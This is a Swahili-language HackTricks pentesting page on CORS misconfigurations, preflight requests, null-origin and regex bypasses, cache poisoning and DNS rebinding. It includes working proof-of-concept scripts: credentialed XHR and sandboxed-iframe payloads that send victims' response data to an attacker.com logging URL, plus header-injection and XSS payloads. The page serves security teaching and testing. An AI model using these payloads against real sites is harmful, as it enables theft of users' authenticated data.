CORS - Makosa ya Mipangilio & Kuepukwa

Reading time: 21 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

CORS ni nini?

Cross-Origin Resource Sharing (CORS) standard inawawezesha seva kufafanua nani anaweza kufikia mali zao na ni njia zipi za ombi la HTTP zinazoruhusiwa kutoka vyanzo vya nje.

Sera ya same-origin inahitaji kwamba seva inayohitaji rasilimali na seva inayohifadhi rasilimali zishiriki itifaki sawa (mfano, http://), jina la kikoa (mfano, internal-web.com), na bandari (mfano, 80). Chini ya sera hii, ni kurasa za wavuti kutoka kikoa na bandari sawa pekee ndizo zinazoruhusiwa kufikia rasilimali hizo.

Matumizi ya sera ya same-origin katika muktadha wa http://normal-website.com/example/example.html yanaonyeshwa kama ifuatavyo:

URL iliyofikiwaUfikiaji unaruhusiwa?
http://normal-website.com/example/Ndio: Mpango, kikoa, na bandari sawa
http://normal-website.com/example2/Ndio: Mpango, kikoa, na bandari sawa
https://normal-website.com/example/Hapana: Mpango na bandari tofauti
http://en.normal-website.com/example/Hapana: Kikoa tofauti
http://www.normal-website.com/example/Hapana: Kikoa tofauti
http://normal-website.com:8080/example/Hapana: Bandari tofauti*

*Internet Explorer inapuuzilia mbali nambari ya bandari katika kutekeleza sera ya same-origin, hivyo kuruhusu ufikiaji huu.

Access-Control-Allow-Origin Header

Header hii inaweza kuruhusu vyanzo vingi, thamani ya null, au wildcard *. Hata hivyo, hakuna kivinjari kinachounga mkono vyanzo vingi, na matumizi ya wildcard * yanakabiliwa na mipaka. (Wildcard lazima itumike peke yake, na matumizi yake pamoja na Access-Control-Allow-Credentials: true hayaruhusiwi.)

Header hii inatolewa na seva kama jibu la ombi la rasilimali ya kuvuka kikoa lililoanzishwa na tovuti, huku kivinjari kikiongeza kiotomatiki header ya Origin.

Access-Control-Allow-Credentials Header

Kwa kawaida, maombi ya kuvuka kikoa yanafanywa bila akidi kama vile vidakuzi au header ya Uidhinishaji. Hata hivyo, seva ya kuvuka kikoa inaweza kuruhusu kusoma jibu wakati akidi zinatumwa kwa kuweka header ya Access-Control-Allow-Credentials kuwa true.

Ikiwa imewekwa kuwa true, kivinjari kitaweza kutuma akidi (vidakuzi, headers za uidhinishaji, au vyeti vya mteja vya TLS).

javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
javascript
fetch(url, {
credentials: "include",
})
javascript
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

Wakati wa kuanzisha ombi la kuvuka eneo chini ya hali maalum, kama vile kutumia non-standard HTTP method (chochote isipokuwa HEAD, GET, POST), kuanzisha headers mpya, au kutumia Content-Type header value maalum, ombi la pre-flight linaweza kuhitajika. Ombi hili la awali, linalotumia mbinu ya OPTIONS, linatumika kuarifu seva kuhusu nia za ombi la kuvuka eneo, ikiwa ni pamoja na mbinu za HTTP na headers ambazo linakusudia kutumia.

Itifaki ya Cross-Origin Resource Sharing (CORS) inahitaji ukaguzi huu wa pre-flight ili kubaini uwezekano wa operesheni ya kuvuka eneo iliyohitajika kwa kuthibitisha mbinu, headers, na uaminifu wa chanzo. Kwa ufahamu wa kina wa hali zipi zinazoepusha hitaji la ombi la pre-flight, rejelea mwongozo wa kina ulioandikwa na Mozilla Developer Network (MDN).

Ni muhimu kutambua kwamba ukosefu wa ombi la pre-flight hauondoi hitaji la jibu kubeba authorization headers. Bila headers hizi, kivinjari hakiwezi kushughulikia jibu kutoka kwa ombi la kuvuka eneo.

Fikiria mfano ufuatao wa ombi la pre-flight lililokusudia kutumia mbinu ya PUT pamoja na header maalum inayoitwa Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Katika majibu, seva inaweza kurudisha vichwa vinavyoashiria mbinu zilizokubaliwa, asili iliyoidhinishwa, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:

markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Kichwa hiki kinaeleza ni vichwa gani vinaweza kutumika wakati wa ombi halisi. Kimewekwa na seva kuashiria vichwa vinavyoruhusiwa katika maombi kutoka kwa mteja.
  • Access-Control-Expose-Headers: Kupitia kichwa hiki, seva inawajulisha wateja kuhusu vichwa gani vinaweza kufichuliwa kama sehemu ya jibu mbali na vichwa vya jibu rahisi.
  • Access-Control-Max-Age: Kichwa hiki kinaashiria ni muda gani matokeo ya ombi la pre-flight yanaweza kuhifadhiwa. Seva inaweka muda wa juu, kwa sekunde, ambao taarifa iliyorejeshwa na ombi la pre-flight inaweza kutumika tena.
  • Access-Control-Request-Headers: Inayotumika katika maombi ya pre-flight, kichwa hiki kimewekwa na mteja kuijulisha seva kuhusu vichwa vya HTTP ambavyo mteja anataka kutumia katika ombi halisi.
  • Access-Control-Request-Method: Kichwa hiki, pia kinachotumika katika maombi ya pre-flight, kimewekwa na mteja kuashiria ni njia gani ya HTTP itakayokuwa ikitumika katika ombi halisi.
  • Origin: Kichwa hiki kimewekwa kiotomatiki na kivinjari na kinaashiria asili ya ombi la cross-origin. Kinatumika na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.

Kumbuka kwamba kwa kawaida (kutegemea aina ya maudhui na vichwa vilivyowekwa) katika ombio la GET/POST hakuna ombi la pre-flight linalotumwa (ombio linatumwa moja kwa moja), lakini ikiwa unataka kufikia vichwa/mwili wa jibu, lazima iwe na kichwa Access-Control-Allow-Origin kinachoruhusu.
Hivyo, CORS hailindi dhidi ya CSRF (lakini inaweza kuwa na manufaa).

Maombi ya Mtandao wa Mitaa Ombi la Pre-flight

  1. Access-Control-Request-Local-Network: Kichwa hiki kinajumuishwa katika ombi la mteja kuashiria kwamba uchunguzi unalenga rasilimali ya mtandao wa ndani. Kinatumika kama alama kuijulisha seva kwamba ombi linatoka ndani ya mtandao wa ndani.
  2. Access-Control-Allow-Local-Network: Katika majibu, seva zinatumia kichwa hiki kuwasiliana kwamba rasilimali iliyohitajika inaruhusiwa kushirikiwa na vyombo vya nje ya mtandao wa ndani. Kinatumika kama mwanga wa kijani kwa kushiriki rasilimali kati ya mipaka tofauti ya mtandao, kuhakikisha ufikiaji ulio na udhibiti huku ukihifadhi itifaki za usalama.

Jibu halali linaloruhusu ombi la mtandao wa ndani linahitaji kuwa na pia katika jibu kichwa Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

warning

Kumbuka kwamba IP ya linux 0.0.0.0 inafanya kazi ili kuepuka mahitaji haya ya kufikia localhost kwani anwani hiyo ya IP haichukuliwi kama "ya ndani".

Pia inawezekana kuepuka mahitaji ya Mtandao wa Ndani ikiwa utatumia anwani ya IP ya umma ya mwisho wa ndani (kama anwani ya IP ya umma ya router). Kwa sababu katika matukio kadhaa, hata kama IP ya umma inafikiwa, ikiwa ni kutoka kwenye mtandao wa ndani, ufikiaji utawezesha.

Wildcards

Kumbuka kwamba hata kama usanidi ufuatao unaweza kuonekana kuwa na ruhusa nyingi:

bash
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Hii haiwezekani kwa vivinjari na kwa hivyo akidi hazitapelekwa pamoja na ombi lililokubaliwa na hili.

Mipangilio isiyofaa inayoweza kutumika

Imeonekana kwamba kuweka Access-Control-Allow-Credentials kuwa true ni sharti la awali kwa mashambulizi mengi halisi. Mpangilio huu unaruhusu kivinjari kutuma akidi na kusoma jibu, kuimarisha ufanisi wa shambulizi. Bila hii, faida ya kufanya kivinjari kutoa ombi badala ya kufanya hivyo mwenyewe inapungua, kwani kutumia vidakuzi vya mtumiaji inakuwa vigumu.

Tofauti: Kutumia Mahali pa Mtandao kama Uthibitisho

Kuna tofauti ambapo mahali pa mtandao wa mwathirika hutenda kama aina ya uthibitisho. Hii inaruhusu kivinjari cha mwathirika kutumika kama proxy, kupita uthibitisho wa IP ili kufikia programu za intranet. Njia hii ina fanana katika athari na DNS rebinding lakini ni rahisi kutekeleza.

Kureflect kwa Origin katika Access-Control-Allow-Origin

Hali halisi ambapo thamani ya kichwa cha Origin inareflectwa katika Access-Control-Allow-Origin ni ya nadharia isiyowezekana kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, waendelezaji wanaotafuta kuwezesha CORS kwa URL nyingi wanaweza kuunda kichwa cha Access-Control-Allow-Origin kwa njia ya kidinamikia kwa kunakili thamani ya kichwa cha Origin. Njia hii inaweza kuleta udhaifu, hasa wakati mshambuliaji anatumia domain yenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitishaji.

html
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Kutumia null Origin

null origin, iliyoainishwa kwa hali kama vile redirects au faili za HTML za ndani, ina nafasi ya kipekee. Programu zingine zinaorodhesha origin hii ili kuwezesha maendeleo ya ndani, bila kukusudia kuruhusu tovuti yoyote kuiga null origin kupitia iframe iliyo sanduku, hivyo kupita vizuizi vya CORS.

html
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
html
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Mbinu za Kupita Mifumo ya Kawaida ya Kuandika

Wakati wa kukutana na orodha ya maeneo yaliyoruhusiwa, ni muhimu kujaribu fursa za kupita, kama vile kuongeza eneo la mshambuliaji kwenye eneo lililoruhusiwa au kutumia udhaifu wa kuchukua subdomain. Zaidi ya hayo, mifumo ya kawaida ya kuandika inayotumika kwa uthibitishaji wa maeneo inaweza kupuuzilia mbali tofauti katika kanuni za kutaja maeneo, ikitoa fursa zaidi za kupita.

Kupita kwa Mifumo ya Kuandika ya Juu

Mifumo ya Regex kwa kawaida inazingatia wahusika wa alphanumeric, dot (.), na hyphen (-), ikipuuzilia mbali uwezekano mwingine. Kwa mfano, jina la eneo lililotengenezwa kuhusisha wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya regex linaweza kupita ukaguzi wa usalama. Ushughulikiaji wa wahusika wa underscore katika subdomains na Safari, Chrome, na Firefox unaonyesha jinsi tofauti hizo zinaweza kutumika ili kupita mantiki ya uthibitishaji wa maeneo.

Kwa maelezo zaidi na mipangilio ya ukaguzi huu wa kupita: https://www.corben.io/advanced-cors-techniques/ na https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Kutoka XSS ndani ya subdomain

Wakuu wa programu mara nyingi wanaweka mifumo ya kujihami ili kulinda dhidi ya matumizi mabaya ya CORS kwa kuorodhesha maeneo ambayo yanaruhusiwa kuomba taarifa. Licha ya tahadhari hizi, usalama wa mfumo si wa kuaminika. Uwepo wa subdomain moja tu iliyo hatarini ndani ya maeneo yaliyoruhusiwa unaweza kufungua mlango wa matumizi mabaya ya CORS kupitia udhaifu mwingine, kama vile XSS (Cross-Site Scripting).

Ili kuonyesha, fikiria hali ambapo eneo, requester.com, limeorodheshwa ili kufikia rasilimali kutoka eneo lingine, provider.com. Mipangilio ya upande wa seva inaweza kuonekana kama ifuatavyo:

javascript
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Katika mpangilio huu, subdomain zote za requester.com zinaruhusiwa kupata. Hata hivyo, ikiwa subdomain, sema sub.requester.com, imeathiriwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye ufikiaji wa sub.requester.com anaweza kutumia udhaifu wa XSS ili kupita sera za CORS na kwa uovu kufikia rasilimali kwenye provider.com.

Makarakteri Maalum

PortSwigger’s URL validation bypass cheat sheet iligundua kuwa baadhi ya vivinjari vinasaidia wahusika wa ajabu ndani ya majina ya kikoa.

Chrome na Firefox vinasaidia viwango vya chini _ ambavyo vinaweza kupita regexes zilizotekelezwa kuthibitisha kichwa cha Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari ni lefu zaidi katika kukubali wahusika maalum katika jina la kikoa:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Njia nyingine za kufurahisha za URL

{{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}}

Uchafuzi wa cache upande wa seva

Kutoka utafiti huu

Inawezekana kwamba kwa kutumia uchafuzi wa cache upande wa seva kupitia sindano ya kichwa cha HTTP, udhaifu wa Cross-Site Scripting (XSS) unaweza kuanzishwa. Hali hii inatokea wakati programu inashindwa kusafisha kichwa cha Origin kwa wahusika haramu, ikisababisha udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Mablua haya yanachukulia (0x0d) kama mterminator halali ya kichwa cha HTTP, na kusababisha udhaifu wa sindano ya kichwa cha HTTP.

Fikiria ombi lifuatalo ambapo kichwa cha Origin kinamanipulika:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer na Edge hufasiri jibu kama:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Ingawa kutumia moja kwa moja udhaifu huu kwa kufanya kivinjari cha wavuti kutuma kichwa kisichofaa hakuwezekani, ombi lililotengenezwa linaweza kuundwa kwa mikono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha cache ya upande wa seva kuhifadhi jibu na kwa bahati mbaya kulihudumia wengine. Payload iliyoundwa inalenga kubadilisha seti ya wahusika wa ukurasa kuwa UTF-7, ambayo ni uandishi wa wahusika mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuandika wahusika kwa njia inayoweza kutekelezwa kama script katika muktadha fulani.

Kwa kusoma zaidi kuhusu udhaifu wa XSS uliohifadhiwa, angalia PortSwigger.

Kumbuka: Utekelezaji wa udhaifu wa sindano ya kichwa cha HTTP, hasa kupitia sumu ya cache ya upande wa seva, inaonyesha umuhimu wa kuthibitisha na kusafisha kila pembejeo inayotolewa na mtumiaji, ikiwa ni pamoja na vichwa vya HTTP. Daima tumia mfano thabiti wa usalama unaojumuisha uthibitishaji wa pembejeo ili kuzuia udhaifu kama huu.

Sumu ya cache ya upande wa mteja

Kutoka utafiti huu

Katika hali hii, mfano wa ukurasa wa wavuti unaonyesha maudhui ya kichwa maalum cha HTTP bila uandishi sahihi unakabiliwa. Kwa haswa, ukurasa wa wavuti unarudisha maudhui yaliyojumuishwa katika kichwa cha X-User-id, ambacho kinaweza kujumuisha JavaScript mbaya, kama inavyoonyeshwa na mfano ambapo kichwa kina tag ya picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.

Sera za Kushiriki Rasilimali za Mipaka (CORS) zinaruhusu kutumwa kwa vichwa maalum. Hata hivyo, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya sindano kama hiyo yanaweza kuonekana kuwa ya kikomo. Kitu muhimu kinatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha Vary: Origin hakijabainishwa, inakuwa inawezekana kwa jibu mbaya kuhifadhiwa na kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kuhamasisha URL, kupita hitaji la uonyeshaji wa moja kwa moja wakati wa ombi la awali. Mekanismu hii inaboresha uaminifu wa shambulio kwa kutumia cache ya upande wa mteja.

Ili kuonyesha shambulio hili, mfano wa JavaScript unapatikana, ulioandaliwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama kupitia JSFiddle. Skripti hii inafanya kitendo rahisi: inatuma ombi kwa URL maalum yenye kichwa maalum kinachojumuisha JavaScript mbaya. Baada ya kukamilika kwa ombi kwa mafanikio, inajaribu kuhamasisha URL ya lengo, huenda ikasababisha utekelezaji wa skripti iliyosambazwa ikiwa jibu limehifadhiwa bila kushughulikia ipasavyo kichwa cha Vary: Origin.

Hapa kuna muhtasari wa JavaScript inayotumika kutekeleza shambulio hili:

html
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, pia inajulikana kama Cross-Site Script Inclusion, ni aina ya udhaifu inayotumia ukweli kwamba Sera ya Asili Moja (SOP) haitumiki wakati wa kujumuisha rasilimali kwa kutumia lebo ya script. Hii ni kwa sababu scripts zinahitaji kuweza kujumuishwa kutoka kwa maeneo tofauti. Udhaifu huu unaruhusu mshambuliaji kufikia na kusoma maudhui yoyote ambayo yalijumuishwa kwa kutumia lebo ya script.

Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya dinamik au JSONP (JSON yenye Padding), hasa wakati taarifa za mamlaka ya mazingira kama vile vidakuzi vinapotumika kwa uthibitishaji. Wakati wa kuomba rasilimali kutoka kwa mwenyeji tofauti, vidakuzi vinajumuishwa, na kuifanya kuwa rahisi kwa mshambuliaji.

Ili kuelewa na kupunguza udhaifu huu, unaweza kutumia plugin ya BurpSuite inayopatikana kwenye https://github.com/kapytein/jsonp. Plugin hii inaweza kusaidia kubaini na kushughulikia udhaifu wa XSSI katika programu zako za wavuti.

Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.

Jaribu kuongeza callback parameter katika ombi. Huenda ukurasa ulikuwa umeandaliwa kutuma data kama JSONP. Katika kesi hiyo, ukurasa utarudisha data na Content-Type: application/javascript ambayo itapita sera ya CORS.

Easy (useless?) bypass

Njia moja ya kupita kizuizi cha Access-Control-Allow-Origin ni kwa kuomba programu ya wavuti kufanya ombi kwa niaba yako na kutuma jibu nyuma. Hata hivyo, katika hali hii, taarifa za mwathirika wa mwisho hazitapelekwa kwani ombi linafanywa kwa eneo tofauti.

  1. CORS-escape: Chombo hiki kinatoa proxy inayosambaza ombi lako pamoja na vichwa vyake, huku pia ikidanganya kichwa cha Asili ili kufanana na eneo lililoombwa. Hii kwa ufanisi inapita sera ya CORS. Hapa kuna mfano wa matumizi na XMLHttpRequest:
  2. simple-cors-escape: Chombo hiki kinatoa njia mbadala ya kupitisha maombi. Badala ya kupitisha ombi lako kama lilivyo, seva inafanya ombi lake mwenyewe kwa vigezo vilivyotolewa.

Iframe + Popup Bypass

Unaweza kupita ukaguzi wa CORS kama e.origin === window.origin kwa kuunda iframe na kutoka kwake kufungua dirisha jipya. Maelezo zaidi katika ukurasa ufuatao:

{{#ref}} xss-cross-site-scripting/iframes-in-xss-and-csp.md {{#endref}}

DNS Rebinding via TTL

DNS rebinding kupitia TTL ni mbinu inayotumika kupita hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hapa kuna jinsi inavyofanya kazi:

  1. Mshambuliaji anaunda ukurasa wa wavuti na kumfanya mwathirika aupate.
  2. Mshambuliaji kisha anabadilisha DNS (IP) ya eneo lake mwenyewe ili kuelekeza kwenye ukurasa wa wavuti wa mwathirika.
  3. Kivinjari cha mwathirika kinahifadhi jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) ikionyesha ni kwa muda gani rekodi ya DNS inapaswa kuzingatiwa kuwa halali.
  4. Wakati TTL inapokwisha, kivinjari cha mwathirika kinafanya ombi jipya la DNS, kuruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathirika.
  5. Kwa kudumisha udhibiti juu ya IP ya mwathirika, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathirika bila kutuma vidakuzi vyovyote kwa seva ya mwathirika.

Ni muhimu kutambua kwamba vivinjari vina mifumo ya kuhifadhi ambayo inaweza kuzuia matumizi ya haraka ya mbinu hii, hata na thamani za chini za TTL.

DNS rebinding inaweza kuwa na manufaa kwa kupita ukaguzi wa IP wazi unaofanywa na mwathirika au kwa hali ambapo mtumiaji au bot inabaki kwenye ukurasa mmoja kwa muda mrefu, kuruhusu cache ipotee.

Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama https://lock.cmpxchg8b.com/rebinder.html.

Ili kuendesha seva yako ya DNS rebinding, unaweza kutumia zana kama DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Hii inahusisha kufichua bandari yako ya ndani 53/udp, kuunda rekodi ya A inayotaja hiyo (mfano, ns.example.com), na kuunda rekodi ya NS inayotaja subdomain ya A iliyoundwa hapo awali (mfano, ns.example.com). Subdomain yoyote ya subdomain ya ns.example.com itatatuliwa na mwenyeji wako.

Unaweza pia kuchunguza seva inayofanya kazi hadharani kwenye http://rebind.it/singularity.html kwa ufahamu zaidi na majaribio.

DNS Rebinding via DNS Cache Flooding

DNS rebinding kupitia kufurika kwa cache ya DNS ni mbinu nyingine inayotumika kupita mfumo wa kuhifadhi wa vivinjari na kulazimisha ombi la pili la DNS. Hapa kuna jinsi inavyofanya kazi:

  1. Kwanza, wakati mwathirika anafanya ombi la DNS, linajibiwa kwa anwani ya IP ya mshambuliaji.
  2. Ili kupita ulinzi wa kuhifadhi, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma unafurika cache ya DNS, ambayo kwa ufanisi inafuta jina la seva ya mshambuliaji lililohifadhiwa.
  3. Wakati kivinjari cha mwathirika kinapofanya ombi la pili la DNS, sasa kinajibiwa kwa anwani ya IP 127.0.0.1, ambayo kwa kawaida inarejelea localhost.

Kwa kufurika cache ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudhibiti mchakato wa kutatua DNS na kulazimisha kivinjari cha mwathirika kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.

DNS Rebinding via Cache

Njia nyingine ya kupita ulinzi wa kuhifadhi ni kwa kutumia anwani nyingi za IP kwa subdomain moja katika mtoa huduma wa DNS. Hapa kuna jinsi inavyofanya kazi:

  1. Mshambuliaji anaunda rekodi mbili za A (au rekodi moja ya A yenye anwani mbili za IP) kwa subdomain moja katika mtoa huduma wa DNS.
  2. Wakati kivinjari kinapokagua rekodi hizi, kinapata anwani zote mbili za IP.
  3. Ikiwa kivinjari kitachagua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutoa payload inayofanya maombi ya HTTP kwa eneo hilo hilo.
  4. Hata hivyo, mara mshambuliaji anapopata anwani ya IP ya mwathirika, wanakoma kujibu kivinjari cha mwathirika.
  5. Kivinjari cha mwathirika, kinapogundua kwamba eneo halijibu, kinahamia kutumia anwani ya pili ya IP iliyotolewa.
  6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Moja (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kuhamasisha taarifa.

Mbinu hii inatumia tabia ya vivinjari wakati anwani nyingi za IP zinatolewa kwa eneo. Kwa kudhibiti kwa makusudi majibu na kudhibiti uchaguzi wa anwani ya IP ya kivinjari, mshambuliaji anaweza kutumia SOP na kufikia taarifa kutoka kwa mwathirika.

warning

Kumbuka kwamba ili kufikia localhost unapaswa kujaribu kuunganisha 127.0.0.1 katika Windows na 0.0.0.0 katika linux.
Watoa huduma kama godaddy au cloudflare hawakuniruhusu kutumia ip 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A yenye anwani 2 ambapo moja yao ni "0.0.0.0"

Kwa maelezo zaidi unaweza kuangalia https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Ikiwa anwani za ndani haziruhusiwi, wanaweza kusahau kuzuia 0.0.0.0 (inafanya kazi kwenye Linux na Mac)
  • Ikiwa anwani za ndani haziruhusiwi, jibu na CNAME kwa localhost (inafanya kazi kwenye Linux na Mac)
  • Ikiwa anwani za ndani haziruhusiwi kama majibu ya DNS, unaweza kujibu CNAMEs kwa huduma za ndani kama www.corporate.internal.

DNS Rebidding Weaponized

Unaweza kupata maelezo zaidi kuhusu mbinu za kupita zilizotajwa hapo awali na jinsi ya kutumia chombo kinachofuata katika mazungumzo Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin ni chombo cha kufanya DNS rebinding mashambulizi. Inajumuisha vipengele muhimu vya kuunganisha anwani ya IP ya jina la seva ya shambulizi na anwani ya IP ya mashine lengwa na kutoa payload za shambulizi ili kutumia programu dhaifu kwenye mashine lengwa.

Real Protection against DNS Rebinding

  • Tumia TLS katika huduma za ndani
  • Omba uthibitisho ili kufikia data
  • Thibitisha kichwa cha Host
  • https://wicg.github.io/private-network-access/: Pendekezo la kutuma ombi la awali kila wakati wakati seva za umma zinataka kufikia seva za ndani

Tools

Fuzz possible misconfigurations in CORS policies

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks